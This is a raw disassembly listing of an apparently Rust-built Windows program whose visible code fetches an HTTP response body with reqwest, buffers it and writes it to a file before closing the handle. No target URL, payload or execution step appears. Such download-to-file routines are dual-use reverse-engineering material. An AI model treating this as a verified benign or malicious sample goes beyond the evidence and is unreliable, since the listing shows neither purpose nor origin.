rep movsq qword [rdi], qword [rsi]
mov byte [rsp + 0x649], 0
mov byte [rsp + 0x648], 0
lea rax, [rsp + 0x5e0]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp], xmm0
mov qword [rsp + 0x640], rbp
mov qword [rsp + 0x650], r13
mov rdx, rbp
lea rcx, [rsp + 0x2c0]
mov r8, r14
call sym.__reqwest::async_impl::body::ImplStream_as_http_body::Body_::poll_data::h3edf229e4f41578f
mov rcx, qword [rsp + 0x2c0]
cmp rcx, 2
jne 0x140002845
mov al, 3
jmp 0x140002b40
mov rax, qword [rsp + 0x2c8]
mov rsi, qword [rsp + 0x2d0]
lea rdx, [rsp + 0x330]
movups xmm0, xmmword [rdx - 0x58]
movaps xmmword [rsp + 0x200], xmm0
test rcx, rcx
je 0x140002d49
test rax, rax
je 0x140002d65
mov byte [rsp + 0x648], 1
mov qword [rsp + 0x620], rax
mov qword [rsp + 0x628], rsi
movaps xmm0, xmmword [rsp + 0x200]
movups xmmword [r12 + 0x180], xmm0
mov qword [rsp + 0x650], r13
mov rax, r13
jmp 0x1400028c6
mov rdx, qword [rax]
lea rcx, [rsp + 0x2c0]
mov r8, r14
call sym.__reqwest::async_impl::body::ImplStream_as_http_body::Body_::poll_data::h3edf229e4f41578f
mov rcx, qword [rsp + 0x2c0]
cmp rcx, 2
jne 0x1400028ee
mov al, 4
jmp 0x140002b40
mov rax, qword [rsp + 0x2c8]
mov rsi, qword [rsp + 0x2d0]
lea rdx, [rsp + 0x330]
movups xmm0, xmmword [rdx - 0x58]
movaps xmmword [rsp + 0x170], xmm0
test rcx, rcx
je 0x140002dc3
test rax, rax
je 0x140002dbe
mov qword [rsp + 0x670], rax
mov qword [rsp + 0x678], rsi
movaps xmm0, xmmword [rsp + 0x170]
movups xmmword [r12 + 0x1d0], xmm0
mov rsi, qword [rsp + 0x640]
cmp qword [rsi], 0
jne 0x140002969
mov rdx, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
lea rsi, [rsp + 0x2c0]
mov rcx, rsi
call qword [rax + 0x30]
mov rax, qword [rsi + 0x10]
mov ecx, 0x4000
cmp rax, rcx
cmovae rax, rcx
mov rsi, qword [rsp + 0x630]
add rsi, qword [rsp + 0x680]
mov rcx, 0xffffffffffffffff
cmovb rsi, rcx
add rsi, rax
cmovb rsi, rcx
test rsi, rsi
je 0x1400029c0
js 0x14000416a
mov al, byte [0x140149110]
xor ecx, ecx
mov rdx, rsi
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h1ca289f3d44bb24b
test rax, rax
jne 0x1400029c7
jmp 0x14000415b
mov eax, 1
xor esi, esi
mov qword [rsp + 0x650], rsi
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x658], rax
mov qword [rsp + 0x660], 0
mov byte [rsp + 0x648], 0
lea rax, [rsp + 0x620]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
mov rdi, qword [rsp + 0x60]
cmp rsi, rdi
jae 0x140002a5d
mov rcx, r15
xor edx, edx
mov r8, rdi
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h4b6f7b0838efcf76
mov rdi, qword [rsp + 0x60]
jmp 0x140002a5d
mov rdx, qword [rsp + 0x58]
mov rcx, r15
mov r8, rdi
call sym.alloc::vec::Vec_T_A_::extend_from_slice::hd72d6d103e057bb0
mov qword [rsp + 0xb0], rdi
mov rax, qword [rsp + 0x60]
mov rcx, rax
sub rcx, rdi
jb 0x140003fb2
mov qword [rsp + 0x60], rcx
add qword [rsp + 0x58], rdi
mov rdi, rcx
test rdi, rdi
jne 0x140002a27
mov rax, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x68]
xor r8d, r8d
call qword [rax + 0x20]
movups xmm0, xmmword [r12 + 0x1c0]
movups xmm1, xmmword [r12 + 0x1d0]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
mov rsi, qword [rsp + 0x60]
mov rax, qword [rsp + 0x650]
mov rdx, qword [rsp + 0x660]
sub rax, rdx
cmp rax, rsi
jae 0x140002af8
mov rcx, r15
mov r8, rsi
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h4b6f7b0838efcf76
mov rsi, qword [rsp + 0x60]
jmp 0x140002af8
mov rdx, qword [rsp + 0x58]
mov rcx, r15
mov r8, rsi
call sym.alloc::vec::Vec_T_A_::extend_from_slice::hd72d6d103e057bb0
mov qword [rsp + 0xb0], rsi
mov rax, qword [rsp + 0x60]
mov rcx, rax
sub rcx, rsi
jb 0x140003fb2
mov qword [rsp + 0x60], rcx
add qword [rsp + 0x58], rsi
mov rsi, rcx
test rsi, rsi
jne 0x140002ac2
mov rax, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x68]
xor r8d, r8d
call qword [rax + 0x20]
mov qword [rsp + 0x668], r13
mov rax, r13
mov rdx, qword [rax]
lea rcx, [rsp + 0x2c0]
mov r8, r14
call sym.__reqwest::async_impl::body::ImplStream_as_http_body::Body_::poll_data::h3edf229e4f41578f
mov rcx, qword [rsp + 0x2c0]
cmp rcx, 2
jne 0x140002b85
mov al, 5
mov byte [rsp + 0x649], al
mov byte [rsp + 0x690], 3
cmp ebx, 0x3b9aca00
jne 0x140002b61
call sym.std::thread::park::h64f33ae76178c4e5
jmp 0x140002caa
call sym.std::time::Instant::now::hb71b62803ac17da1
mov r8d, edx
mov rcx, qword [rsp + 0x28]
cmp rax, rcx
jne 0x140002c7d
cmp r8d, ebx
jb 0x140002c83
jmp 0x140002d11
mov rax, qword [rsp + 0x2c8]
mov rsi, qword [rsp + 0x2d0]
lea rdx, [rsp + 0x330]
movups xmm0, xmmword [rdx - 0x58]
movaps xmmword [rsp + 0x150], xmm0
test rcx, rcx
je 0x140002d6d
test rax, rax
je 0x140002da9
movaps xmm0, xmmword [rsp + 0x150]
lea rcx, [rsp + 0x430]
movups xmmword [rcx], xmm0
mov qword [rsp + 0x420], rax
mov qword [rsp + 0x428], rsi
mov rdi, qword [rsp + 0x430]
mov rax, qword [rsp + 0x650]
mov rdx, qword [rsp + 0x660]
sub rax, rdx
cmp rax, rdi
jae 0x140002c5b
mov rcx, r15
mov r8, rdi
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h4b6f7b0838efcf76
mov rdi, qword [rsp + 0x430]
jmp 0x140002c5b
mov rcx, r15
mov rdx, rsi
mov r8, rdi
call sym.alloc::vec::Vec_T_A_::extend_from_slice::hd72d6d103e057bb0
mov qword [rsp + 0xc0], rdi
mov rcx, qword [rsp + 0x430]
mov rax, rcx
sub rax, rdi
jb 0x140003fde
mov qword [rsp + 0x430], rax
add rdi, qword [rsp + 0x428]
mov qword [rsp + 0x428], rdi
mov rsi, rdi
mov rdi, rax
test rdi, rdi
jne 0x140002c13
mov rax, qword [rsp + 0x420]
mov rdx, qword [rsp + 0x428]
lea rcx, [rsp + 0x438]
jmp 0x140002b0c
ja 0x140002d11
mov qword [rsp + 0x2c0], rcx
mov dword [rsp + 0x2c8], ebx
lea rcx, [rsp + 0x2c0]
mov rdx, rax
call sym.std::time::Instant::duration_since::h196d62c7fc7b96d3
mov rcx, rax
call sym.std::thread::park_timeout::h2f964c093f833c16
mov al, byte [rsp + 0x690]
jmp 0x140002740
test rbx, rbx
je 0x140002ea0
movups xmm0, xmmword [rsp + 0x420]
movups xmm1, xmmword [rsp + 0x430]
movaps xmmword [rsp + 0x170], xmm0
movaps xmmword [rsp + 0x180], xmm1
mov rax, qword [rsp + 0x440]
mov qword [rsp + 0x190], rax
mov rdx, rdi
mov rbp, r14
mov r15, rdi
mov rbx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov edi, 2
jmp 0x140002f91
movzx eax, byte [rsp + 0x690]
test eax, eax
je 0x1400038e6
cmp eax, 3
mov rbp, qword [rsp + 0x80]
jne 0x140003937
lea rcx, [rsp + 0x5e0]
call sym._ZN4core3ptr126drop_in_place_LT_hyper..body..to_bytes..to_bytes_LT_reqwest..async_impl..decoder..Decoder_GT_.._u7b__u7b_closur
mov eax, 0x128
jmp 0x14000390d
xorps xmm0, xmm0
movaps xmmword [rsp + 0xf0], xmm0
mov esi, 1
lea r14, sym.bytes::bytes::static_clone::h2fa5b7df5657600b
jmp 0x140002e17
xor r14d, r14d
jmp 0x140002e17
mov rax, qword [r15 + 0x10]
lea rdx, [rsp + 0x170]
mov qword [rdx + 0x10], rax
movups xmm0, xmmword [r15]
movaps xmmword [rdx], xmm0
lea rdi, [rsp + 0x2c0]
mov rcx, rdi
call sym.__bytes::bytes::Bytes_as_core::convert::From_alloc::vec::Vec_u8___::from::h36c4177f6d7d4bd9
mov r14, qword [rdi]
mov rsi, qword [rdi + 8]
movups xmm0, xmmword [rdi + 0x10]
movaps xmmword [rsp + 0xf0], xmm0
jmp 0x140002e17
mov rcx, qword [rsp + 0x650]
mov rdx, qword [rsp + 0x658]
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h0e933a1de88d33bc
xor r14d, r14d
jmp 0x140002df6
mov r8, qword [rsp + 0x630]
lea rdi, [rsp + 0x2c0]
mov rcx, rdi
lea rdx, [rsp + 0x620]
call sym.bytes::bytes::Bytes::split_to::hf00b87ffb9d2aa66
mov r14, qword [rdi]
mov rsi, qword [rdi + 8]
movups xmm0, xmmword [rdi + 0x10]
movaps xmmword [rsp + 0xf0], xmm0
cmp byte [rsp + 0x648], 0
je 0x140002e17
lea rcx, [rsp + 0x638]
mov rax, qword [rcx - 0x18]
mov rdx, qword [rcx - 0x10]
mov r8, qword [rcx - 8]
call qword [rax + 0x20]
mov byte [rsp + 0x648], 0
mov rcx, rbp
call sym.core::ptr::drop_in_place_reqwest::async_impl::body::Body_::h431992c9cc182a8f
mov bl, 1
mov byte [rsp + 0x649], bl
lea rcx, [rsp + 0x5e0]
call sym._ZN4core3ptr126drop_in_place_LT_hyper..body..to_bytes..to_bytes_LT_reqwest..async_impl..decoder..Decoder_GT_.._u7b__u7b_closur
mov rdi, qword [rsp + 0x5d8]
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h0e933a1de88d33bc
mov rcx, qword [0x1401490c0]
xor edx, edx
mov r8, rdi
call fcn.1400d78a4
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x290], xmm0
mov byte [rsp + 0x690], bl
test r14, r14
je 0x140002e90
movaps xmm0, xmmword [rsp + 0x290]
movaps xmmword [rsp + 0x2c0], xmm0
jmp 0x140002e93
xor r14d, r14d
mov rbp, qword [rsp + 0x80]
jmp 0x14000393c
lea rbx, [rsp + 0x920]
mov rcx, rbx
mov rdx, 0xfffffffffffffffe
xor r8d, r8d
call sym.hyper::body::body::Body::new_channel::hd9e63f0d8a6e0f20
mov rax, qword [rbx + 0x20]
mov qword [rsp + 0x190], rax
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rsp + 0x180], xmm1
movaps xmmword [rsp + 0x170], xmm0
movups xmm0, xmmword [rbx + 0x28]
movaps xmmword [rsp + 0x2c0], xmm0
movups xmm0, xmmword [rbx + 0x38]
movaps xmmword [rsp + 0x2d0], xmm0
movups xmm0, xmmword [rbx + 0x48]
movaps xmmword [rsp + 0x2e0], xmm0
mov al, byte [0x140149110]
mov edx, 0x30
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h1ca289f3d44bb24b
test rax, rax
je 0x140004110
mov rbx, rax
movaps xmm0, xmmword [rsp + 0x2c0]
movaps xmm1, xmmword [rsp + 0x2d0]
movaps xmm2, xmmword [rsp + 0x2e0]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov rax, qword [rsp + 0x190]
movaps xmm0, xmmword [rsp + 0x170]
movaps xmm1, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0x170], xmm0
movaps xmmword [rsp + 0x180], xmm1
mov qword [rsp + 0x190], rax
lea r15, sym.core::ptr::drop_in_place_reqwest::async_impl::body::WrapHyper_::h9f28606000975519
xor ebp, ebp
mov rdx, r14
mov eax, 0
mov qword [rsp + 0x28], rax
test rdi, rdi
je 0x140003017
mov qword [rsp + 0x40], r15
lea r13, [rsp + 0x4d8]
lea r15, [rsp + 0x920]
mov rcx, r15
call sym.__http::header::value::HeaderValue_as_core::convert::From_u64__::from::h54eea8572df96bdd
movups xmm0, xmmword [0x14010ab68]
lea r8, [rsp + 0x420]
movaps xmmword [r8 + 0x10], xmm0
movups xmm0, xmmword [0x14010ab58]
movaps xmmword [r8], xmm0
lea r12, [rsp + 0x2c0]
mov rcx, r12
mov rdx, r13
mov r9, r15
call sym.http::header::map::HeaderMap_T_::insert::h3a60bbbee5a4186e
cmp byte [r12 + 0x20], 2
je 0x140003002
lea rcx, [rsp + 0x2d8]
mov rax, qword [rcx - 0x18]
mov rdx, qword [rcx - 0x10]
mov r8, qword [rcx - 8]
call qword [rax + 0x20]
mov r13, qword [rsp + 0x4b0]
lea r12, [rsp + 0x4b8]
mov r15, qword [rsp + 0x40]
test r13, r13
je 0x140003024
mov rcx, r12
call sym.core::ptr::drop_in_place_reqwest::async_impl::body::Body_::h431992c9cc182a8f
mov qword [rsp + 0x4b0], 1
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x4b8], rax
mov qword [rsp + 0x4c0], rbx
mov qword [rsp + 0x4c8], r15
mov qword [rsp + 0x4d0], rbp
mov eax, 1
mov qword [rsp + 0x270], rax
mov r14, rdi
lea rcx, [rsp + 0x420]
mov r8d, 0x88
mov rdx, r12
call sym.memcpy
mov rdx, qword [rsp + 0x540]
mov r8, qword [rsp + 0x548]
mov eax, dword [rsp + 0x550]
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x554]
mov dword [rsp + 0x94], eax
mov esi, dword [rsp + 0x558]
mov eax, dword [rsp + 0x55c]
mov dword [rsp + 0x98], eax
movzx eax, word [rsp + 0x560]
mov word [rsp + 0x40], ax
movzx eax, word [rsp + 0x562]
mov word [rsp + 0x28], ax
mov ebx, dword [rsp + 0x564]
mov eax, dword [rsp + 0x568]
mov dword [rsp + 0x9c], eax
mov al, byte [rsp + 0x588]
mov byte [rsp + 0xd0], al
mov eax, dword [rsp + 0x58c]
mov dword [rsp + 0x113], eax
mov eax, dword [rsp + 0x589]
mov dword [rsp + 0x110], eax
mov eax, dword [rsp + 0x5bc]
mov dword [rsp + 0x140], eax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0xb20], rax
mov r15d, dword [rsp + 0x56c]
movaps xmm0, xmmword [rsp + 0x170]
movaps xmm1, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0xb10], xmm1
movaps xmmword [rsp + 0xb00], xmm0
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0xb28], rax
mov r12d, dword [rsp + 0x570]
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xb30], rax
mov edi, dword [rsp + 0x574]
movups xmm0, xmmword [rsp + 0x578]
movaps xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xb38], r14
mov rbp, qword [rsp + 0x590]
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xb40], rax
mov r13d, dword [rsp + 0x598]
movups xmm0, xmmword [rsp + 0x59c]
movups xmm1, xmmword [rsp + 0x5ac]
movaps xmmword [rsp + 0x130], xmm1
movaps xmmword [rsp + 0x120], xmm0
lea r14, [rsp + 0xcb8]
mov rcx, r14
mov qword [rsp + 0x258], rdx
mov qword [rsp + 0x260], r8
call sym.__alloc::string::String_as_core::clone::Clone_::clone::h5717c2ac5065a2fe
mov al, byte [rsp + 0xd0]
mov byte [r14 + 0x50], al
movaps xmm0, xmmword [rsp + 0xc0]
movups xmmword [r14 + 0x40], xmm0
mov dword [rsp + 0xec], ebx
mov dword [r14 + 0x2c], ebx
mov eax, dword [rsp + 0x9c]
mov dword [r14 + 0x30], eax
mov dword [rsp + 0xe0], r15d
mov dword [r14 + 0x34], r15d
mov dword [rsp + 0xdc], r12d
mov dword [r14 + 0x38], r12d
movzx eax, word [rsp + 0x40]
mov word [r14 + 0x28], ax
movzx eax, word [rsp + 0x28]
mov word [r14 + 0x2a], ax
mov dword [rsp + 0xd8], edi
mov dword [r14 + 0x3c], edi
mov eax, dword [rsp + 0x90]
mov dword [r14 + 0x18], eax
mov eax, dword [rsp + 0x94]
mov dword [r14 + 0x1c], eax
mov dword [rsp + 0xe8], esi
mov dword [r14 + 0x20], esi
mov eax, dword [rsp + 0x98]
mov dword [r14 + 0x24], eax
mov qword [rsp + 0x250], rbp
mov r14d, r13d
mov dword [rsp + 0xe4], r13d
cmp r13d, 0x3b9aca00
jne 0x1400032b9
mov rbp, qword [rsp + 0xca0]
mov r14d, dword [rsp + 0xca8]
mov rax, qword [rsp + 0xc98]
mov qword [rsp + 0x30], rax
mov rbx, qword [rax + 0x10]
test rbx, rbx
mov rdi, qword [rsp + 0x270]
je 0x1400042cd
lea rcx, [rsp + 0x4b0]
lea rdx, [rsp + 0x420]
mov r8d, 0x88
call sym.memcpy
movaps xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x50], xmm0
mov al, byte [rsp + 0xd0]
mov byte [rsp + 0x60], al
mov eax, dword [rsp + 0x110]
mov ecx, dword [rsp + 0x113]
mov dword [rsp + 0x150], eax
mov dword [rsp + 0x153], ecx
movaps xmm0, xmmword [rsp + 0x120]
movaps xmm1, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0x2c0], xmm0
movaps xmmword [rsp + 0x2d0], xmm1
mov eax, dword [rsp + 0x140]
mov dword [rsp + 0x2e0], eax
mov rax, qword [rbx + 0x1c0]
mov dword [rsp + 0x38], r14d
mov r8, qword [rsp + 0x30]
lea r12, sym.futures_task::waker::clone_arc_raw::h095ab240c3c4bc9f
mov qword [rsp + 0x88], rbp
test al, 1
jne 0x1400035bf
cmp rax, 0xfffffffffffffffe
je 0x1400044f1
mov rcx, qword [r8 + 0x10]
lea rdx, [rax + 2]
lock cmpxchg qword [rcx + 0x1c0], rdx
jne 0x140003378
mov rbp, qword [r8 + 0x10]
lea rcx, [rbp + 0x80]
mov ebx, 1
mov r14d, 1
lock xadd qword [rbp + 0x88], r14
mov rdx, r14
call sym.tokio::sync::mpsc::list::Tx_T_::find_block::h08a04296db2a5fb5
mov r15, rax
and r14d, 0x1f
imul rax, r14, 0x118
lea r12, [r15 + rax]
add r12, 8
mov qword [r12 - 8], rdi
lea rdx, [rsp + 0x4b0]
mov r8d, 0x88
mov rcx, r12
call sym.memcpy
mov rax, qword [rsp + 0x258]
mov qword [r12 + 0x88], rax
mov rax, qword [rsp + 0x260]
mov qword [r12 + 0x90], rax
mov eax, dword [rsp + 0x90]
mov dword [r12 + 0x98], eax
mov eax, dword [rsp + 0x94]
mov dword [r12 + 0x9c], eax
mov eax, dword [rsp + 0xe8]
mov dword [r12 + 0xa0], eax
mov eax, dword [rsp + 0x98]
mov dword [r12 + 0xa4], eax
movzx eax, word [rsp + 0x40]
mov word [r12 + 0xa8], ax
movzx eax, word [rsp + 0x28]
mov word [r12 + 0xaa], ax
mov eax, dword [rsp + 0xec]
mov dword [r12 + 0xac], eax
mov eax, dword [rsp + 0x9c]
mov dword [r12 + 0xb0], eax
mov eax, dword [rsp + 0xe0]
mov dword [r12 + 0xb4], eax
mov eax, dword [rsp + 0xdc]
mov dword [r12 + 0xb8], eax
mov eax, dword [rsp + 0xd8]
mov dword [r12 + 0xbc], eax
movaps xmm0, xmmword [rsp + 0x50]
movups xmmword [r12 + 0xc0], xmm0
mov al, byte [rsp + 0x60]
mov byte [r12 + 0xd0], al
mov eax, dword [rsp + 0x150]
mov ecx, dword [rsp + 0x153]
mov dword [r12 + 0xd1], eax
mov dword [r12 + 0xd4], ecx
mov rax, qword [rsp + 0x250]
mov qword [r12 + 0xd8], rax
mov eax, dword [rsp + 0xe4]
mov dword [r12 + 0xe0], eax
movaps xmm0, xmmword [rsp + 0x2c0]
movaps xmm1, xmmword [rsp + 0x2d0]
movups xmmword [r12 + 0xe4], xmm0
movups xmmword [r12 + 0xf4], xmm1
mov eax, dword [rsp + 0x2e0]
mov dword [r12 + 0x104], eax
mov rsi, qword [rsp + 0x268]
mov qword [r12 + 0x108], rsi
mov ecx, r14d
shl rbx, cl
lock or qword [r15 + 0x2310], rbx
mov rax, qword [rbp + 0x110]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rbp + 0x110], rcx
jne 0x140003565
test rax, rax
lea r12, sym.futures_task::waker::clone_arc_raw::h095ab240c3c4bc9f
mov r14d, dword [rsp + 0x38]
jne 0x1400035b2
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 0x108]
mov qword [rbp + 0x100], 0
lock and qword [rbp + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x1400035b2
call qword [rax + 8]
mov rbp, qword [rsp + 0x88]
jmp 0x14000364e
lea rcx, [rsp + 0x920]
lea rdx, [rsp + 0x4b0]
mov r8d, 0x88
call sym.memcpy
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0xf0], xmm0
mov al, byte [rsp + 0x60]
mov byte [rsp + 0x100], al
mov eax, dword [rsp + 0x150]
mov ecx, dword [rsp + 0x153]
mov dword [rsp + 0x200], eax
mov dword [rsp + 0x203], ecx
movaps xmm0, xmmword [rsp + 0x2c0]
movaps xmm1, xmmword [rsp + 0x2d0]
movaps xmmword [rsp + 0x170], xmm0
movaps xmmword [rsp + 0x180], xmm1
mov eax, dword [rsp + 0x2e0]
mov dword [rsp + 0x190], eax
cmp rdi, 2
mov rsi, qword [rsp + 0x268]
jne 0x1400042e5
mov rcx, qword [rsp + 0xb38]
mov rax, rcx
mov qword [rsp + 0x40], rcx
cmp rcx, 2
je 0x140003674
cmp r14d, 0x3b9aca00
jne 0x14000368b
mov ebx, 0x3b9aca00
jmp 0x1400036a5
cmp r14d, 0x3b9aca00
jne 0x140003752
mov ebx, 0x3b9aca00
jmp 0x14000376a
call sym.std::time::Instant::now::hb71b62803ac17da1
mov rcx, rax
mov r8, rbp
mov r9d, r14d
call sym.__std::time::Instant_as_core::ops::arith::Add_core::time::Duration__::add::h1c469e686b0a1e06
mov qword [rsp + 0x28], rax
mov ebx, edx
call sym.std::thread::current::h64ce1004ddb533b7
mov rdi, rax
mov al, byte [0x140149110]
mov edx, 0x18
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h1ca289f3d44bb24b
test rax, rax
je 0x140004101
mov ecx, 1
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rdi
lea rax, [rsp + 0xb0]
mov qword [rax], r12
mov qword [rax + 8], rcx
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x208], rax
mov qword [rsp + 0x210], 0
lea rbp, [rsp + 0x4b8]
mov qword [rbp - 8], rsi
lea rsi, [rsp + 0xb00]
mov ecx, 9
mov rdi, rbp
rep movsq qword [rdi], qword [rsi]
mov byte [rbp + 0x49], 0
lea r13, [rsp + 0x508]
lea r12, [rsp + 0x550]
xor eax, eax
movzx eax, al
lea r14, section..rdata
movsxd rax, dword [r14 + rax*4]
add rax, r14
jmp rax
call sym.std::time::Instant::now::hb71b62803ac17da1
mov rcx, rax
mov r8, rbp
mov r9d, r14d
call sym.__std::time::Instant_as_core::ops::arith::Add_core::time::Duration__::add::h1c469e686b0a1e06
mov rdi, rax
mov ebx, edx
call sym.std::thread::current::h64ce1004ddb533b7
mov r14, rax
mov al, byte [0x140149110]
mov edx, 0x18
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h1ca289f3d44bb24b
test rax, rax
je 0x140004101
mov ecx, 1
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], r14
lea rax, [rsp + 0xf0]
mov qword [rax], r12
mov qword [rax + 8], rcx
lea r15, [rsp + 0x2c0]
mov qword [r15], rax
mov qword [r15 + 8], rax
mov qword [r15 + 0x10], 0
lea r14, [rsp + 0x58]
mov qword [r14 - 8], rsi
mov byte [r14 + 8], 0
xor eax, eax
lea rsi, [rsp + 0x4b0]
test al, al
je 0x1400037f3
movzx eax, al
cmp eax, 3
je 0x1400037fd
jmp 0x1400040f5
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
mov rcx, rsi
mov rdx, r14
mov r8, r15
call sym.__tokio::sync::oneshot::Receiver_T__as_core::future::future::Future_::poll::hfa8ce3a22567a610
mov r13, qword [rsp + 0x4b0]
cmp r13, 5
jne 0x14000386e
mov byte [rsp + 0x60], 3
cmp ebx, 0x3b9aca00
jne 0x14000382f
call sym.std::thread::park::h64f33ae76178c4e5
mov al, 3
jmp 0x1400037e2
call sym.std::time::Instant::now::hb71b62803ac17da1
mov r8d, edx
cmp rax, rdi
jne 0x140003843
cmp r8d, ebx
jb 0x140003845
jmp 0x1400038bc
ja 0x1400038bc
mov qword [rsp + 0x4b0], rdi
mov dword [rsp + 0x4b8], ebx
mov rcx, rsi
mov rdx, rax
call sym.std::time::Instant::duration_since::h196d62c7fc7b96d3
mov rcx, rax
call sym.std::thread::park_timeout::h2f964c093f833c16
mov al, 3
jmp 0x1400037e2
lea rdx, [rsp + 0x4c0]
mov r15, qword [rdx - 8]
lea rcx, [rsp + 0x920]
mov r8d, 0x88
call sym.memcpy
mov rcx, r14
call sym._ZN4core3ptr150drop_in_place_LT_tokio..sync..oneshot..Receiver_LT_core..result..Result_LT_reqwest..async_impl..response..Respo
cmp r13d, 4
je 0x140004f7d
lea rcx, [rsp + 0x170]
lea rdx, [rsp + 0x920]
mov r8d, 0x88
call sym.memcpy
jmp 0x1400038cd
mov rcx, r14
call sym._ZN4core3ptr150drop_in_place_LT_tokio..sync..oneshot..Receiver_LT_core..result..Result_LT_reqwest..async_impl..response..Respo
mov r13d, 4
xor r15d, r15d
mov ebx, dword [rsp + 0x38]
mov rax, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0xf8]
jmp 0x140004e64
lea rcx, [rsp + 0x4b0]
call sym.core::ptr::drop_in_place_http::response::Parts_::hddcec23a95920c3b
lea rcx, [rsp + 0x520]
call sym.core::ptr::drop_in_place_reqwest::async_impl::body::Body_::h431992c9cc182a8f
mov eax, 0x90
mov rbp, qword [rsp + 0x80]
mov rsi, qword [rsp + rax + 0x4b0]
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h0e933a1de88d33bc
mov rcx, qword [0x1401490c0]
xor r14d, r14d
xor edx, edx
mov r8, rsi
call fcn.1400d78a4
jmp 0x14000393a
xor r14d, r14d
xor esi, esi
mov rax, qword [rsp + 0x2a8]
mov rcx, qword [rsp + 0x2b0]
call qword [rax + 0x18]
test r14, r14
je 0x140003966
movaps xmm0, xmmword [rsp + 0x2c0]
movaps xmmword [rsp + 0x920], xmm0
jmp 0x14000397a
test rsi, rsi
jne 0x140003977
mov cx, 5
call sym.reqwest::error::Error::new::h4644e855e50e25c4
mov rsi, rax
xor r14d, r14d
mov rdi, qword [rsp + 0xdb8]
test rdi, rdi
je 0x1400039bf
mov rbx, qword [rsp + 0xdc0]
mov rax, qword [rbx]
test rax, rax
je 0x14000399c
mov rcx, rdi
call rax
cmp qword [rbx + 8], 0
je 0x1400039bf
cmp qword [rbx + 0x10], 0x11
jb 0x1400039ae
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1401490c0]
xor edx, edx
mov r8, rdi
call fcn.1400d78a4
mov rax, qword [rsp + 0xdc8]
test rax, rax
je 0x1400039df
lock dec qword [rax]
jne 0x1400039df
lea rcx, [rsp + 0xdc8]
call sym.alloc::sync::Arc_T_A_::drop_slow::he3455d01cc35036b
test r14, r14
je 0x140004292
mov qword [rsp + 0x4b0], r14
mov qword [rsp + 0x4b8], rsi
movaps xmm0, xmmword [rsp + 0x920]
movups xmmword [rsp + 0x4c0], xmm0
mov rdi, qword [rsp + 0x4c0]
test rdi, rdi
je 0x140003acb
movabs r14, 0xffffffff00000000
lea rbx, [rsp + 0x928]
lea r15, str.failed_to_write_whole_buffer
lea r12, [0x1400db02c]
movabs r13, 0x2300000000
mov rcx, rbp
mov rdx, rsi
mov r8, rdi
call sym.std::sys::pal::windows::handle::Handle::synchronous_write::h66a59f5ea6819d2c
mov qword [rsp + 0x920], rax
mov qword [rsp + 0x928], rdx
test rax, rax
je 0x140003a7b
mov eax, edx
and eax, 3
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
mov eax, 0x10
jmp 0x140003a9d
test rdx, rdx
je 0x1400040de
mov rax, rdi
sub rax, rdx
jb 0x1400040cc
add rsi, rdx
mov rdi, rax
jmp 0x140003abb
mov eax, 0xf
cmp byte [rdx + rax], 0x23
je 0x140003ab3
jmp 0x1400040e1
mov rcx, rbx
call sym.core::ptr::drop_in_place_std::io::error::Error_::h3c570bf81c87a7cf
test rdi, rdi
jne 0x140003a43
jmp 0x140003acb
test rdx, rdx
jne 0x1400040e1
lea rcx, [rsp + 0x4c8]
mov rax, qword [rcx - 0x18]
mov rdx, qword [rcx - 0x10]
mov r8, qword [rcx - 8]
call qword [rax + 0x20]
mov rcx, rbp
call sub.kernel32.dll_CloseHandle
